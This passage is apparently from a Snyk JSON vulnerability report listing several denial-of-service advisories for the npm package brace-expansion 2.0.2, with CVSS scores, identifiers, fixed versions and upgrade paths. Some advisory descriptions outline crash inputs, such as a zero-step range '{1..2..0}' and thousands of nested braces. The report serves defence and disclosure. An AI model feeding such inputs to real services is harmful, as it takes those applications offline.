"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.6.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.6.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.6.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.6.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.6.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"@npmcli/map-workspaces@4.0.2",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"@npmcli/map-workspaces@4.0.2",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
